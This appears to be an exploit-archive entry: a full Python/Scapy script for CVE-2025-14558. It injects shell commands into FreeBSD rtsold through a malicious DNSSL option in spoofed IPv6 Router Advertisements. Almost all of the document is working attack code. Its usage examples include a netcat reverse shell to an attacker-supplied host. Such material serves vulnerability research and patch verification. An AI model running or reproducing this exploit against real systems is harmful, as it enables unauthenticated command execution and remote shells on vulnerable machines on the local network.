📄 FreeBSD rtsold 15.x Remote Code Execution

# Exploit Title: FreeBSD rtsold 15.x - Remote Code Execution via DNSSL
    # Date: 2025-12-16
    # Exploit Author: Lukas Johannes Möller
    # Vendor Homepage: https://www.freebsd.org/
    # Version: FreeBSD 13.x, 14.x, 15.x (before 2025-12-16 patches)
    # Tested on: FreeBSD 14.1-RELEASE
    # CVE: CVE-2025-14558
    #
    # Description:
    #   rtsold(8) processes IPv6 Router Advertisement DNSSL options without
    #   validating domain names for shell metacharacters. The decoded domains
    #   are passed to resolvconf(8), a shell script that uses unquoted variable
    #   expansion, enabling command injection via $() substitution.
    #
    # Requirements:
    #   - Layer 2 adjacency to target
    #   - Target running rtsold with ACCEPT_RTADV enabled
    #   - Root privileges (raw socket for sending RA)
    #   - Python 3 + Scapy
    #
    # References:
    #   https://security.FreeBSD.org/advisories/FreeBSD-SA-25:12.rtsold.asc
    #   https://github.com/JohannesLks/CVE-2025-14558
    
    import argparse
    import struct
    import sys
    import time
    
    try:
        from scapy.all import (
            Ether, IPv6, ICMPv6ND_RA, ICMPv6NDOptPrefixInfo,
            ICMPv6NDOptSrcLLAddr, Raw, get_if_hwaddr, sendp
        )
    except ImportError:
        sys.exit("[!] Scapy required: pip install scapy")
    
    
    def encode_domain(name):
        """Encode domain in DNS wire format (RFC 1035)."""
        result = b""
        for label in name.split("."):
            if label:
                data = label.encode()
                result += bytes([len(data)]) + data
        return result + b"\x00"
    
    
    def encode_payload(cmd):
        """Encode payload as DNS label with $() wrapper for command substitution."""
        payload = f"$({cmd})".encode()
        if len(payload) > 63:
            # Split long payloads across labels (dots inserted on decode)
            result = b""
            while payload:
                chunk = payload[:63]
                payload = payload[63:]
                result += bytes([len(chunk)]) + chunk
            return result + b"\x00"
        return bytes([len(payload)]) + payload + b"\x00"
    
    
    def build_dnssl(cmd, lifetime=0xFFFFFFFF):
        """Build DNSSL option (RFC 6106) with injected command."""
        data = encode_domain("x.local") + encode_payload(cmd)
        
        # Pad to 8-byte boundary
        pad = (8 - (len(data) + 8) % 8) % 8
        data += b"\x00" * pad
        
        # Type=31 (DNSSL), Length in 8-octet units
        length = (8 + len(data)) // 8
        return struct.pack(">BBH", 31, length, 0) + struct.pack(">I", lifetime) + data
    
    
    def build_ra(mac, payload):
        """Build Router Advertisement with malicious DNSSL."""
        return (
            Ether(src=mac, dst="33:33:00:00:00:01")
            / IPv6(src="fe80::1", dst="ff02::1", hlim=255)
            / ICMPv6ND_RA(chlim=64, M=0, O=1, routerlifetime=1800)
            / ICMPv6NDOptSrcLLAddr(lladdr=mac)
            / ICMPv6NDOptPrefixInfo(
                prefixlen=64, L=1, A=1,
                validlifetime=2592000, preferredlifetime=604800,
                prefix="2001:db8::"
            )
            / Raw(load=build_dnssl(payload))
        )
    
    
    def main():
        p = argparse.ArgumentParser(
            description="CVE-2025-14558 - FreeBSD rtsold DNSSL Command Injection",
            epilog="Examples:\n"
                   "  %(prog)s -i eth0\n"
                   "  %(prog)s -i eth0 -p 'id>/tmp/pwned'\n"
                   "  %(prog)s -i eth0 -p 'nc LHOST 4444 -e /bin/sh'",
            formatter_class=argparse.RawDescriptionHelpFormatter
        )
        p.add_argument("-i", "--interface", required=True, help="Network interface")
        p.add_argument("-p", "--payload", default="touch /tmp/pwned", help="Command to execute")
        p.add_argument("-c", "--count", type=int, default=3, help="Packets to send (default: 3)")
        args = p.parse_args()
    
        try:
            mac = get_if_hwaddr(args.interface)
        except Exception as e:
            sys.exit(f"[!] Interface error: {e}")
    
        print(f"[*] Interface: {args.interface} ({mac})")
        print(f"[*] Payload: {args.payload}")
    
        pkt = build_ra(mac, args.payload)
        
        for i in range(args.count):
            sendp(pkt, iface=args.interface, verbose=False)
            print(f"[+] Sent RA {i+1}/{args.count}")
            if i < args.count - 1:
                time.sleep(1)
    
        print("[+] Done")
    
    
    if __name__ == "__main__":
        main()